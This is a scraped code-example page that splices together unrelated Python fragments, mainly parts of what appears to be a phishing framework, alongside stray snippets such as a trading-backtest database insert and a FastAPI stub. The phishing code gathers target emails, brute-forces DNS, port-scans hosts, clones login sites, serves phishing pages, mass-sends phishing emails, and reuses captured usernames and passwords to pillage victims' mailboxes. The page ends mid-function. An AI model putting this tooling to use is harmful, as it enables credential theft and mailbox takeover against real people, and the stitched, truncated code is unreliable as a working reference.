            for template in self.profile_dynamic_web_templates:
                sc = SiteCloner(clone_dir=self.logpath)
                tdir = sc.cloneUrl(template)
                self.display.verbose("Cloning [%s] to [%s]" % (template, tdir))
                self.db.addWebTemplate(ttype="dynamic", src_url=template, tdir=tdir)

            for f in os.listdir(self.config["web_template_path"]):
                template_file = os.path.join(self.config["web_template_path"], f) + "/CONFIG"
                #                self.db.addWebTemplate(ttype="static", src_url="", tdir=os.path.join(self.config["web_template_path"], f))
                for line in open(template_file).readlines():
                    for tem in self.profile_valid_web_templates:
                        if re.match("^VHOST=\s*" + tem + "\s*$", line, re.IGNORECASE):
                            self.db.addWebTemplate(
                                ttype="static", src_url="", tdir=os.path.join(self.config["web_template_path"], f)
                            )
                            break

        # ==================================================
        # Load web sites
        # ==================================================

        if self.config["enable_web"] == True:
            print
            self.display.output("Starting phishing webserver")
            if self.config["always_yes"] or self.display.yn("Continue", default="y"):

                path = os.path.dirname(os.path.realpath(__file__))
                # Start process
                cmd = [path + "/../web.py", Utils.compressDict(self.config)]
                self.webserver = subprocess.Popen(cmd, shell=False, stdout=subprocess.PIPE)

                # monitor output to gather website information
                while True:
                    line = self.webserver.stdout.readline()
                    line = line.strip()
                    if line == "Websites loaded and launched.":
                        break
                    if line != "":
                        self.display.verbose(line)
                        match = re.search("Started website", line)
                        VHOST = ""
                        PORT = ""
                        if match:
                            parts = line.split("[")
                            VHOST = parts[1].split("]")
                            VHOST = VHOST[0].strip()
                            PORT = parts[2].split("]")
                            PORT = PORT[0].strip()
                            PORT = PORT[7:]
                            # keep the URL clean
                            # if port is 80, then it does not need to be included in the URL
                            if PORT[-3:] == ":80":
                                PORT = PORT[:-3]

                            self.config[VHOST + "_port"] = PORT
                            self.config[VHOST + "_vhost"] = VHOST
                            Utils.screenCaptureWebSite("http://" + PORT, self.logpath + PORT + "_" + VHOST + ".png")
                            Utils.screenCaptureWebSite(
                                "http://" + VHOST + "." + self.config["phishing_domain"],
                                self.logpath + VHOST + "." + self.config["phishing_domain"] + ".png",
                            )

                # Write PID file
                pidfilename = os.path.join(self.pid_path, "spfwebsrv.pid")
                pidfile = open(pidfilename, "w")
                pidfile.write(str(self.webserver.pid))
                pidfile.close()
                self.webserverpid = self.webserver.pid
                self.display.verbose("Started WebServer with pid = [%s]" % self.webserver.pid)

        # ==================================================
        # Build array of email templates
        # ==================================================

        if ((self.email_list is not None) and (self.email_list)) and (
            (self.config["enable_email_sending"] == True) or (self.config["simulate_email_sending"] == True)
        ):
            print
            self.display.verbose("Locating phishing email templates")
            if self.config["always_yes"] or self.display.yn("Continue", default="y"):

                # loop over each email template
                for f in os.listdir("templates/email/"):
                    template_file = os.path.join("templates/email/", f)
                    self.display.debug("Found the following email template: [%s]" % template_file)

                    if (Utils.is_readable(template_file)) and (os.path.isfile(template_file)):
                        # read in the template SUBJECT, TYPE, and BODY
                        TYPE = ""
                        SUBJECT = ""
                        BODY = ""
                        with open(template_file, "r") as myfile:
                            for line in myfile.readlines():
                                match = re.search("TYPE=", line)
                                if match:
                                    TYPE = line.replace('"', "")
                                    TYPE = TYPE.split("=")
                                    TYPE = TYPE[1].lower().strip()
                                match2 = re.search("SUBJECT=", line)
                                if match2:
                                    SUBJECT = line.replace('"', "")
                                    SUBJECT = SUBJECT.split("=")
                                    SUBJECT = SUBJECT[1].strip()
                                match3 = re.search("BODY=", line)
                                if match3:
                                    BODY = line.replace('"', "")
                                    BODY = BODY.replace(r"\n", "\n")
                                    BODY = BODY.split("=")
                                    BODY = BODY[1].strip()
                        self.email_templates[TYPE].append(EmailTemplate(TYPE, SUBJECT, BODY))

        # ==================================================
        # Generate/Send phishing emails
        # ==================================================

        if (self.config["enable_email_sending"] == True) or (self.config["simulate_email_sending"] == True):
            if (self.config["determine_smtp"] == "1") and (self.config["use_specific_smtp"] == "1"):
                self.display.error("ONLY 1 of DETERMINE_SMTP or USE_SPECIFIC_SMTP can be enabled at a time.")
            else:
                print
                self.display.output("Sending phishing emails")
                if self.config["always_yes"] or self.display.yn("Continue", default="y"):

                    templates_logged = []
                    # do we have any emails top send?
                    if self.email_list:
                        temp_target_list = self.email_list
                        temp_delay = 1
                        if self.config["email_delay"] is not None:
                            temp_delay = int(self.config["email_delay"])
                        send_count = 0
                        # while there are still target email address, loop
                        while temp_target_list and (send_count < (int(self.config["emails_max"]))):
                            # inc number of emails we have attempted to send
                            send_count = send_count + 1
                            # delay requested amount of time between sending emails
                            time.sleep(temp_delay)
                            # for each type of email (citrix, owa, office365, ...)
                            for key in self.email_templates:
                                # double check
                                if temp_target_list:
                                    # for each email template of the given type
                                    for template in self.email_templates[key]:
                                        # double check
                                        if temp_target_list:
                                            # grab a new target email address
                                            target = temp_target_list.pop(0)
                                            self.display.verbose("Sending Email to [%s]" % target)
                                            # FROM = "support@" + self.config["phishing_domain"]
                                            FROM = self.config["smtp_fromaddr"]

                                            SUBJECT = template.getSUBJECT()
                                            BODY = template.getBODY()

                                            # perform necessary SEARCH/REPLACE
                                            if self.config["enable_host_based_vhosts"] == "1":
                                                BODY = BODY.replace(
                                                    r"[[TARGET]]",
                                                    "http://" + key + "." + self.config["phishing_domain"],
                                                )
                                                if self.config["default_web_port"] != "80":
                                                    BODY += ":" + self.config["default_web_port"]
                                            else:
                                                BODY = BODY.replace(
                                                    r"[[TARGET]]", "http://" + self.config[key + "_port"]
                                                )

                                            # log
                                            if key not in templates_logged:
                                                self.display.log(
                                                    "----------------------------------------------\n\n"
                                                    + "TO: <XXXXX>\n"
                                                    + "FROM: "
                                                    + FROM
                                                    + "\n"
                                                    + "SUBJECT: "
                                                    + SUBJECT
                                                    + "\n\n"
                                                    + BODY
                                                    + "\n\n"
                                                    + "----------------------------------------------\n\n"
                                                    + "TARGETS:\n"
                                                    + "--------\n",
                                                    filename="email_template_" + key + ".txt",
                                                )
                                                templates_logged.append(key)
                                            self.display.log(target + "\n", filename="email_template_" + key + ".txt")

                                            # send the email
                                            if self.config["simulate_email_sending"] == True:
                                                self.display.output(
                                                    "Would have sent an email to [%s] with subject of [%s], but this was just a test."
                                                    % (target, SUBJECT)
                                                )
                                            else:
                                                try:
                                                    if self.config["determine_smtp"] == "1":
                                                        emails.send_email_direct(
                                                            target, FROM, SUBJECT, BODY, debug=True
                                                        )
                                                    if self.config["use_specific_smtp"] == "1":
                                                        # self.display.error("[USE_SPECIFIC_SMTP] not implemented")
                                                        print self.config["smtp_fromaddr"]
                                                        emails.send_email_account(
                                                            self.config["smtp_server"],
                                                            int(self.config["smtp_port"]),
                                                            self.config["smtp_user"],
                                                            self.config["smtp_pass"],
                                                            target,
                                                            self.config["smtp_fromaddr"],
                                                            SUBJECT,
                                                            BODY,
                                                            debug=True,
                                                        )
                                                except:
                                                    self.display.error(sys.exc_info()[0])

        # ==================================================
        # Monitor web sites
        # ==================================================

        if self.config["enable_web"] == True:
            print
            self.display.output("Monitoring phishing website activity!")
            self.display.alert("(Press CTRL-C to stop collection and generate report!)")
            if self.webserver:
                while True:
                    line = self.webserver.stdout.readline()
                    line = line.strip()
                    if self.config["pillage_email"]:
                        self.pillage(line)
                    self.display.output(line)

    # ==================================================
    # Secondary METHODS
    # ==================================================

    def pillage(self, line):
        username = None
        password = None

        # parse line into username/password
        usermatch = re.match(".*username=\['(.*?)'\].*", line)
        if usermatch:
            username = usermatch.group(1)

        passmatch = re.match(".*password=\['(.*?)'\].*", line)
        if passmatch:
            password = passmatch.group(1)

        if (not username) or (not password):
            return

        if not username + ":" + password in self.pillaged_users:
            self.pillaged_users.append(username + ":" + password)

            if not self.mp:
                self.mp = MailPillager()

            if not self.bestMailServer:
                self.determineBestMailServer()

            if not self.bestMailServer:
                self.display.error("No valid target IMAP/POP3 mail servers were identified.")
                return

            print self.bestMailServer + ":" + str(self.bestMailServerPort)

            self.mp.pillage(
                username=username,
                password=password,
                server=self.bestMailServer,
                port=self.bestMailServerPort,
                domain=self.config["domain_name"],
                outputdir=self.logpath,
            )

    def determineBestMailServer(self):
        if self.server_list[993]:  # IMAPS
            self.bestMailServerPort = 993
            self.bestMailServer = self.server_list[993][0]
        elif self.server_list[143]:  # IMAP
            self.bestMailServerPort = 143
            self.bestMailServer = self.server_list[143][0]
        elif self.server_list[995]:  # POP3S
            self.bestMailServerPort = 995
            self.bestMailServer = self.server_list[995][0]
        elif self.server_list[110]:  # POP3
            self.bestMailServerPort = 110
            self.bestMailServer = self.server_list[110][0]
 def save_simulate_result(
         self, symbol, strategy_id, strategy_option, start_date, end_date,
         market_start_date, market_end_date, backtest_period,
         trading_period, average_period_per_trade, initial_assets,
         last_assets, rate_of_return, win_count, loss_count, win_value,
         loss_value, win_rate, payoffratio, expected_rate,
         expected_rate_per_1day, long_win_count, long_loss_count,
         long_win_value, long_loss_value, long_win_rate, long_payoffratio,
         long_expected_rate, long_expected_rate_per_1day, short_win_count,
         short_loss_count, short_win_value, short_loss_value,
         short_win_rate, short_payoffratio, short_expected_rate,
         short_expected_rate_per_1day, regist_date):
     try:
         mylock.lock.acquire()
         conn = MyDB().get_db()
         c = conn.cursor()
         c.execute(
             """
                     insert or replace into backtest_result 
                     (
                      symbol
                     ,strategy_id
                     ,strategy_option
                     ,start_date
                     ,end_date
                     ,market_start_date
                     ,market_end_date
                     ,backtest_period
                     ,trading_period
                     ,average_period_per_trade
                     ,initial_assets
                     ,last_assets
                     ,rate_of_return
                     ,win_count
                     ,loss_count
                     ,win_value
                     ,loss_value
                     ,win_rate
                     ,payoffratio
                     ,expected_rate
                     ,expected_rate_per_1day
                     ,long_win_count
                     ,long_loss_count
                     ,long_win_value
                     ,long_loss_value
                     ,long_win_rate
                     ,long_payoffratio
                     ,long_expected_rate
                     ,long_expected_rate_per_1day
                     ,short_win_count
                     ,short_loss_count
                     ,short_win_value
                     ,short_loss_value
                     ,short_win_rate
                     ,short_payoffratio
                     ,short_expected_rate
                     ,short_expected_rate_per_1day
                     ,regist_date
                 )
                 values
                 ( 
                          ?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                         ,?
                     )
                 """,
             (symbol, strategy_id, strategy_option, start_date, end_date,
              market_start_date, market_end_date, backtest_period,
              trading_period, average_period_per_trade, initial_assets,
              last_assets, rate_of_return, win_count, loss_count, win_value,
              loss_value, win_rate, payoffratio, expected_rate,
              expected_rate_per_1day, long_win_count, long_loss_count,
              long_win_value, long_loss_value, long_win_rate,
              long_payoffratio, long_expected_rate,
              long_expected_rate_per_1day, short_win_count,
              short_loss_count, short_win_value, short_loss_value,
              short_win_rate, short_payoffratio, short_expected_rate,
              short_expected_rate_per_1day, regist_date))
     except Exception as err:
         if conn:
             conn.rollback()
             self.logger.error(err)
     finally:
         if conn:
             conn.commit()
             conn.close
         mylock.lock.release()
def setup_module(module):
    global conn 
    global cur
    db = MyDB()
    conn = db.connect("server")
    cur = conn.cursor()
Example #38
0
def get_db_handler():
    if not get_db_handler.handler:
        get_db_handler.handler = MyDB(DB_NAME)
    return get_db_handler.handler
@author dolphin
@description
- Allow the user to input the list of phrases via a Swagger.
- Request product info to B and get info from it.
- Allow the user to check to view the results.
"""

from fastapi import FastAPI, Query
from models import SearchTerms, ProductInfo, _SERVER_A_URL, _SERVER_B_URL
from typing import List
import requests
import aiohttp
import asyncio
from mydb import MyDB

mydb = MyDB()

app = FastAPI()

prodInfo = ProductInfo("test title", 41.6, 192.6)


@app.get("/")
def read_root():
    return {"Success": "This is server A on my test project using FastAPI."}

"""
Send asynchronous request to server B to scrap search_terms.
"""
def send_async_req(search_terms):
    req_sent = 0
Example #40
0
class Framework(object):

    def __init__(self):
        self.config = {}        # dict to contain combined list of config file options and commandline parameters
        self.email_list = []    # list of email targets
        self.hostname_list = []    # list of dns hosts
        self.server_list = {}
        self.profile_valid_web_templates = []
        self.profile_dynamic_web_templates = []
        self.pillaged_users = []
        self.bestMailServerPort = None
        self.bestMailServer = None
        self.webserver = None   # web server process
        self.webserverpid = None
        self.gather = None
        self.mp = None # mail pillager

        # initialize some config options
        self.config["domain_name"] = ""
        self.config["phishing_domain"] = ""
        self.config["company_name"] = ""
        self.config["config_filename"] = ""
        self.config["email_list_filename"] = ""

        # default all bool values to False
        self.config["verbose"] = False
        self.config["gather_emails"] = False
        self.config["gather_dns"] = False
        self.config["enable_externals"] = False
        self.config["enable_web"] = False
        self.config["enable_email"] = False
        self.config["enable_email_sending"] = False
        self.config["simulate_email_sending"] = False
        self.config["daemon_web"] = False
        self.config["always_yes"] = False
        self.config["enable_advanced"] = False
        self.config["profile_domain"] = False
        self.config["pillage_email"] = False

        #self.config["attachment_filename"] = None
        #self.config["attachment_fullpath"] = None

        # get current IP
        #self.config['ip'] = None

        # set a few misc values
        self.pid_path = os.path.dirname(os.path.realpath(__file__)) + "/../"
        self.display = Display()
        self.email_templates = defaultdict(list)

    #==================================================
    # SUPPORT METHODS
    #==================================================

    #----------------------------
    # CTRL-C display and exit
    #----------------------------
    def ctrlc(self):
        print
        self.display.alert("Ctrl-C caught!!!")
        self.cleanup()

    #----------------------------
    # Close everything down nicely
    #----------------------------
    def cleanup(self):
        print
        if (self.webserver is not None):
            if (self.config["daemon_web"]):
                self.display.alert("Webserver is still running as requested.")
            else:
                # send SIGTERM to the web process
                self.display.output("stopping the webserver")
                self.webserver.send_signal(signal.SIGINT)
                # delete the pid file
                os.remove(self.pid_path + "spfwebsrv.pid") 
                # as a double check, manually kill the process
                self.killProcess(self.webserverpid)
        # call report generation
        self.generateReport()
        # exit
        sys.exit(0)

    #----------------------------
    # Kill specified process
    #----------------------------
    def killProcess(self, pid):
        if (os.path.exists("/proc/" + str(pid))):
            self.display.alert("Killing process [%s]" % (pid))
            os.kill(pid, signal.SIGKILL)
            if (os.path.isfile(self.pid_path + "spfwebsrv.pid")):
                os.remove(self.pid_path + "spfwebsrv.pid") 

    #----------------------------
    # Generate The simple report
    #----------------------------
    def generateReport(self):
        self.display.output("Generating phishing report")
        self.display.log("ENDTIME=%s\n" % (time.strftime("%Y/%m/%d %H:%M:%S")), filename="INFO.txt")

        # Start process
        cmd = [os.getcwd() + "/report.py", self.outdir]
        self.display.output("Report file located at %s%s" % (self.outdir + "reports/", subprocess.check_output(cmd)))

    #----------------------------
    # Parse CommandLine Parms
    #----------------------------
    def parse_parameters(self, argv):
        parser = argparse.ArgumentParser()

        #==================================================
        # Input Files
        #==================================================
        filesgroup = parser.add_argument_group('input files')
        filesgroup.add_argument("-f",
                            metavar="<list.txt>",
                            dest="email_list_file",
                            action='store',
                            help="file containing list of email addresses")
        filesgroup.add_argument("-C",
                            metavar="<config.txt>",
                            dest="config_file",
                            action='store',
                            help="config file")

        #==================================================
        # Enable Flags
        #==================================================
        enablegroup = parser.add_argument_group('enable flags')
        enablegroup.add_argument("--all",
                            dest="enable_all",
                            action='store_true',
                            help="enable ALL flags... same as (-g --external -s -w -v -v -y)")
        enablegroup.add_argument("--test",
                            dest="enable_test",
                            action='store_true',
                            help="enable all flags EXCEPT sending of emails... same as (-g --external --simulate -w -y -v -v)")
        enablegroup.add_argument("--recon",
                            dest="enable_recon",
                            action='store_true',
                            help="gather info (i.e. email addresses, dns hosts, websites, etc...) same as (-e --dns)")
        enablegroup.add_argument("--external",
                            dest="enable_external",
                            action='store_true',
                            help="enable external tool utilization")
        enablegroup.add_argument("--dns",
                            dest="enable_gather_dns",
                            action='store_true',
                            help="enable automated gathering of dns hosts")
        enablegroup.add_argument("-g",
                            dest="enable_gather_email",
                            action='store_true',
                            help="enable automated gathering of email targets")
        enablegroup.add_argument("-s",
                            dest="enable_send_email",
                            action='store_true',
                            help="enable automated sending of phishing emails to targets")
        enablegroup.add_argument("--simulate",
                            dest="simulate_send_email",
                            action='store_true',
                            help="simulate the sending of phishing emails to targets")
        enablegroup.add_argument("-w",
                            dest="enable_web",
                            action='store_true',
                            help="enable generation of phishing web sites")
        enablegroup.add_argument("-W",
                            dest="daemon_web",
                            action='store_true',
                            help="leave web server running after termination of spf.py")

        #==================================================
        # Advanced Flags
        #==================================================
        advgroup = parser.add_argument_group('ADVANCED')
        advgroup.add_argument("--adv",
                            dest="enable_advanced",
                            action='store_true',
                            help="perform all ADVANCED features same as (--dns --profile --pillage)")
        advgroup.add_argument("--profile",
                            dest="profile_domain",
                            action='store_true',
                            help="profile the target domain (requires the --dns flag)")
        advgroup.add_argument("--pillage",
                            dest="pillage_email",
                            action='store_true',
                            help="auto pillage email accounts (requires the --dns flag)")

        #==================================================
        # Optional Args
        #==================================================
        parser.add_argument("-d",
                            metavar="<domain>",
                            dest="domain",
                            action='store',
                            help="domain name to phish")
        parser.add_argument("-p",
                            metavar="<domain>",
                            dest="phishdomain",
                            default="example.com",
                            action='store',
                            help="newly registered 'phish' domain name")
        parser.add_argument("-c",
                            metavar="<company's name>",
                            dest="company",
                            action='store',
                            help="name of company to phish")
        parser.add_argument("--ip",
                            metavar="<IP address>",
                            dest="ip",
                            #default=Utils.getIP(),
                            action='store',
                            help="IP of webserver defaults to [%s]" % (Utils.getIP()))
        parser.add_argument("-v", "--verbosity",
                            dest="verbose",
                            action='count',
                            help="increase output verbosity")

        #==================================================
        # Misc Flags
        #==================================================
        miscgroup = parser.add_argument_group('misc')
        miscgroup.add_argument("-y",
                            dest="always_yes",
                            action='store_true',
                            help="automatically answer yes to all questions")

        # parse args
        args = parser.parse_args()

        # convert parameters to values in the config dict
        self.config["domain_name"] = args.domain
        if (self.config["domain_name"] is None):
            self.config["domain_name"] = ""
        self.config["phishing_domain"] = args.phishdomain
        if (self.config["phishing_domain"] is None):
            self.config["phishing_domain"] = "example.com"
        self.config["company_name"] = args.company
        if (args.ip):
            self.config["ip"] = args.ip
        self.config["config_filename"] = args.config_file
        self.config["email_list_filename"] = args.email_list_file
        self.config["verbose"] = args.verbose
        self.config["gather_emails"] = args.enable_gather_email
        self.config["gather_dns"] = args.enable_gather_dns
        self.config["profile_domain"] = args.profile_domain
        self.config["pillage_email"] = args.pillage_email
        self.config["enable_externals"] = args.enable_external
        self.config["enable_web"] = args.enable_web
        self.config["enable_email_sending"] = args.enable_send_email
        self.config["simulate_email_sending"] = args.simulate_send_email
        self.config["daemon_web"] = args.daemon_web
        self.config["always_yes"] = args.always_yes

        # process meta flags
        
        # recon = gather emails and gather dns
        if (args.enable_recon == True):
            self.config["gather_emails"] =  True
            self.config["gather_dns"] = True

        # all = gather emails, enable externals, etc...
        if (args.enable_all == True):
            self.config["gather_emails"] =  True
            self.config["enable_externals"] = True
            self.config["enable_web"] = True
            self.config["enable_email_sending"] = True
            self.config["verbose"] = 2
            self.config["always_yes"] = True

        # test = gather emails, enable externals, etc...
        if (args.enable_test == True):
            self.config["gather_emails"] = True
            self.config["enable_externals"] = True
            self.config["simulate_email_sending"] = True
            self.config["enable_web"] = True
            self.config["always_yes"] = True
            self.config["verbose"] = 2

        # advanced = dns, profile, and pillage
        if (args.enable_advanced == True):
            self.config["gather_dns"] = True
            self.config["profile_domain"] = True
            self.config["pillage_email"] = True

        # profile requires dns
        if (self.config["profile_domain"] and not self.config["gather_dns"]):
            self.config["profile_domain"] = False
            self.display.error("--profile requires the --dns option to be enabled as well.")

        # pillage requires dns
        if (self.config["pillage_email"] and not self.config["gather_dns"]):
            self.config["pillage_email"] = False
            self.display.error("--pillage requires the --dns option to be enabled as well.")

        # see if we are good to go
        good = False
        if (self.config["email_list_filename"]
                or self.config["gather_emails"]
                or self.config["enable_externals"]
                or self.config["enable_web"]
                or self.config["enable_email_sending"]
                or self.config["simulate_email_sending"]
                or self.config["gather_dns"]
                or self.config["profile_domain"]
                or self.config["pillage_email"]):
            good = True
        if (not good):
            self.display.error("Please enable at least one of the following parameters: -g --external --dns -s --simulate -w ( --all --test --recon --adv )")
            print
            parser.print_help()
            sys.exit(1)

    #----------------------------
    # Process/Load config file
    #----------------------------
    def load_config(self):
        # does config file exist?
        if (self.config["config_filename"] is not None):
            temp1 = self.config
            temp2 = Utils.load_config(self.config["config_filename"])
            self.config = dict(temp2.items() + temp1.items())
        else:
            # guess not..   so try to load the default one
            if Utils.is_readable("default.cfg"):
                self.display.error("a CONFIG FILE was not specified...  defaulting to [default.cfg]")
                print
                temp1 = self.config
                temp2 = Utils.load_config("default.cfg")
                self.config = dict(temp2.items() + temp1.items())
            else:
                # someone must have removed it!
                self.display.error("a CONFIG FILE was not specified...")
                print
                sys.exit(1)

        # set verbosity/debug level
        if (self.config['verbose'] >= 1):
            self.display.enableVerbose()
        if (self.config['verbose'] > 1):
            self.display.enableDebug()

        if (self.config["ip"] == "0.0.0.0") or (self.config["ip"] == None):
            self.config["ip"]=Utils.getIP()

        # set logging path
        self.outdir = os.getcwd() + "/" + self.config["domain_name"] + "_" + self.config["phishing_domain"] + "/"
        if not os.path.exists(os.path.dirname(self.outdir)):
            os.makedirs(os.path.dirname(self.outdir))
        self.display.setLogPath(self.outdir + "logs/")

        # create sqllite db
        self.db = MyDB(sqlite_file=self.outdir)

        # log it
        self.display.log("STARTTIME=%s\n" % (time.strftime("%Y/%m/%d %H:%M:%S")), filename="INFO.txt")
        self.display.log("TARGETDOMAIN=%s\n" % (self.config["domain_name"]), filename="INFO.txt")
        self.display.log("PHISHINGDOMAIN=%s\n" % (self.config["phishing_domain"]), filename="INFO.txt")

    #----------------------------
    # Load/Gather target email addresses
    #----------------------------
    def prep_email(self):
        # are required flags set?
        if ((self.config["email_list_filename"] is not None) or (self.config["gather_emails"] == True)):
            print
            self.display.output("Obtaining list of email targets")
            if (self.config["always_yes"] or self.display.yn("Continue", default="y")):

                # if an external email list file was specified, read it in
                if self.config["email_list_filename"] is not None:
                    file = open(self.config["email_list_filename"], 'r')
                    temp_list = file.read().splitlines()
                    self.display.verbose("Loaded [%s] email addresses from [%s]" % (len(temp_list), self.config["email_list_filename"]))
                    self.email_list += temp_list

                # gather email addresses
                if self.config["gather_emails"] == True:
                    if (self.config["domain_name"] == ""):
                        self.display.error("No target domain specified.  Can not gather email addresses.")
                    else:
                        self.display.verbose("Gathering emails via built-in methods")
                        self.display.verbose(Gather.get_sources())
                        if (not self.gather):
                            self.gather = Gather(self.config["domain_name"], display=self.display)
                        temp_list = self.gather.emails()
                        self.display.verbose("Gathered [%s] email addresses from the Internet" % (len(temp_list)))
                        self.email_list += temp_list
                        print

                        # gather email addresses from external sources
                        if (self.config["gather_emails"] == True) and (self.config["enable_externals"] == True):
                            # theHarvester
                            self.display.verbose("Gathering emails via theHarvester")
                            thr = theHarvester(self.config["domain_name"], self.config["theharvester_path"], display=self.display)
                            out = thr.run()
                            if (not out):
                                temp_list = thr.emails()
                                self.display.verbose("Gathered [%s] email addresses from theHarvester" % (len(temp_list)))
                                self.email_list += temp_list
                            else:
                                self.display.error(out)
                            print

    #                        # Recon-NG
    #                        self.display.verbose("Gathering emails via Recon-NG")
    #                        temp_list = reconng(self.config["domain_name"], self.config["reconng_path"]).gather()
    #                        self.display.verbose("Gathered [%s] email addresses from Recon-NG" % (len(temp_list)))
    #                        self.email_list += temp_list

                # sort/unique email list
                self.email_list = Utils.unique_list(self.email_list)
                self.email_list.sort()

                # add each user to the sqllite db
                self.db.addUsers(self.email_list)

                # print list of email addresses
                self.display.verbose("Collected [%s] unique email addresses" % (len(self.email_list)))
                self.display.print_list("EMAIL LIST",self.email_list)
                for email in self.email_list:
                    self.display.log(email + "\n", filename="email_targets.txt")

    #----------------------------
    # Gather dns hosts
    #----------------------------
    def gather_dns(self):
        # are required flags set?
        if (self.config["gather_dns"] == True):
            print
            self.display.output("Obtaining list of host on the %s domain" % (self.config["domain_name"]))
            self.display.verbose("Gathering hosts via built-in methods")

            # Gather hosts from internet search
            self.display.verbose(Gather.get_sources())
            if (not self.gather):
                self.gather = Gather(self.config["domain_name"], display=self.display)
            temp_list = self.gather.hosts()
            self.display.verbose("Gathered [%s] hosts from the Internet Search" % (len(temp_list)))
            self.hostname_list += temp_list

            # Gather hosts from DNS lookups
            temp_list = Dns.xfr(self.config["domain_name"])
            self.display.verbose("Gathered [%s] hosts from DNS Zone Transfer" % (len(temp_list)))
            self.hostname_list += temp_list

            temp_list = Dns.ns(self.config["domain_name"])
            temp_list = Utils.filterList(temp_list, self.config["domain_name"])
            self.display.verbose("Gathered [%s] hosts from DNS NS lookups" % (len(temp_list)))
            self.hostname_list += temp_list

            temp_list = Dns.mx(self.config["domain_name"])
            temp_list = Utils.filterList(temp_list, self.config["domain_name"])
            self.display.verbose("Gathered [%s] hosts from DNS MX lookups" % (len(temp_list)))
            self.hostname_list += temp_list

            # Gather hosts from dictionary lookup
            try:
                temp_list = Dns.brute(self.config["domain_name"], display=self.display)
            except:
                pass
            self.display.verbose("Gathered [%s] hosts from DNS BruteForce/Dictionay Lookup" % (len(temp_list)))
            self.hostname_list += temp_list

            # sort/unique hostname list
            self.hostname_list = Utils.unique_list(self.hostname_list)
            self.hostname_list.sort()

            # add list of identified hosts to sqllite db
            self.db.addHosts(self.hostname_list)

            # print list of hostnames
            self.display.verbose("Collected [%s] unique host names" % (len(self.hostname_list)))
            self.display.print_list("HOST LIST", self.hostname_list)

    #----------------------------
    # Perform Port Scans
    #----------------------------
    def port_scan(self):
        # are required flags set?
        if (self.config["gather_dns"] == True):
            self.display.output("Performing basic port scans of any identified hosts.")

            # define list of ports to scan for
            ports = [25, 80,110, 143, 443, 993, 995]
 
            # prep array of arrays
            for port in ports:
                self.server_list[port] = []

            # for each host in the host list
            for host in self.hostname_list:
                # run port scan
                openports = portscan.scan(host, ports)
                found = False
                
                # for any open ports, add it to the associated list
                for port in openports:
                    self.db.addPort(port, host)
                    if (port == 80):
                        self.display.verbose("Found website at: %s 80" % (host))
                        self.server_list[80].append(host)
                        found = True
                    elif (port == 443):
                        self.display.verbose("Found website at: %s 443" % (host))
                        self.server_list[443].append(host)
                        found = True
                    elif (port == 110):
                        self.display.verbose("Found POP at    : %s 110" % (host))
                        self.server_list[110].append(host)
                        found = True
                    elif (port == 995):
                        self.display.verbose("Found POPS at   : %s 995" % (host))
                        self.server_list[995].append(host)
                        found = True
                    elif (port == 143):
                        self.display.verbose("Found IMAP at   : %s 143" % (host))
                        self.server_list[143].append(host)
                        found = True
                    elif (port == 993):
                        self.display.verbose("Found IMAPS at  : %s 993" % (host))
                        self.server_list[993].append(host)
                        found = True
                    elif (port == 25):
                        self.display.verbose("Found SMTP at   : %s 25" % (host))
                        self.server_list[25].append(host)
                        found = True
                    if (found):
                        self.display.log(host + "\n", filename="hosts.txt")

    #----------------------------
    # Profile Web Sites
    #----------------------------
    def profile_site(self):
        # are required flags set?
        if (self.config["profile_domain"] == True):
            self.display.output("Determining if any of the identified hosts have web servers.")

            # for hosts in the port 80 list
            for host in self.server_list[80]:
                # create a profiler object
                p = profiler()
                # run it against the website
                profile_results = p.run("http://" + host, debug=False)
                # if we got valid results, look to see if we have a match for one of the templates
                if (profile_results and (len(profile_results) > 0)):
                    max_key = ""
                    max_value = 0
                    for key, value in profile_results:
                        if (value.getscore() > max_value):
                            max_key = key
                            max_value = value.getscore()
                    if (max_value > 0):
                        self.display.verbose("POSSIBLE MATCH FOR [http://%s] => [%s]" % (host, max_key))
                        self.profile_valid_web_templates.append(max_key)
                else:
                    # other wise we will see about adding it to a list of sites to clone
                    if (p.hasLogin("http://" + host)):
                        self.profile_dynamic_web_templates.append("http://" + host)

            # repeat same as for port 80
            for host in self.server_list[443]:
                p = profiler()
                profile_results = p.run("https://" + host, debug=False)
                if (profile_results and (len(profile_results) > 0)):
                    max_key = ""
                    max_value = 0
                    for key, value in profile_results:
                        if (value.getscore() > max_value):
                            max_key = key
                            max_value = value.getscore()
                    if (max_value > 0):
                        self.display.verbose("POSSIBLE MATCH FOR [https://%s] => [%s]" % (host, max_key))
                        self.profile_valid_web_templates.append(max_key)
                else:
                    if (p.hasLogin("https://" + host)):
                        self.display.verbose("POSSIBLE DYNAMIC TEMPLATE SITE [https://%s]" % (host))
                        self.profile_dynamic_web_templates.append("https://" + host)

            # sort/unique list of valid templates
            self.profile_valid_web_templates = Utils.unique_list(self.profile_valid_web_templates)
            self.profile_valid_web_templates.sort()
            # print list of valid templatess
            self.display.verbose("Collected [%s] valid web templates" % (len(self.profile_valid_web_templates)))
            self.display.print_list("VALID TEMPLATE LIST",self.profile_valid_web_templates)

            # sort/unique list of dynamic templates
            self.profile_dynamic_web_templates = Utils.unique_list(self.profile_dynamic_web_templates)
            self.profile_dynamic_web_templates.sort()

            # print list of valid templatess
            self.display.verbose("Collected [%s] dynamic web templates" % (len(self.profile_dynamic_web_templates)))
            self.display.print_list("DYNAMIC TEMPLATE LIST",self.profile_dynamic_web_templates)

            # sort/unique hostname list
            self.profile_dynamic_web_templates = Utils.lowercase_list(self.profile_dynamic_web_templates)
            self.profile_dynamic_web_templates = Utils.unique_list(self.profile_dynamic_web_templates)
            self.profile_dynamic_web_templates.sort()

            # for any dynamic sites, try to clone them
            self.display.output("Cloning any DYNAMIC sites")
            for template in self.profile_dynamic_web_templates:
                sc = SiteCloner(clone_dir=self.outdir+"web_clones/")
                tdir = sc.cloneUrl(template)
                self.display.verbose("Cloning [%s] to [%s]" % (template, tdir))
                self.db.addWebTemplate(ttype="dynamic", src_url=template, tdir=tdir)

            # loop over all built in templates
            for f in os.listdir(self.config["web_template_path"]):
                template_file = os.path.join(self.config["web_template_path"], f) + "/CONFIG"
                for line in open(template_file).readlines():
                    for tem in self.profile_valid_web_templates:
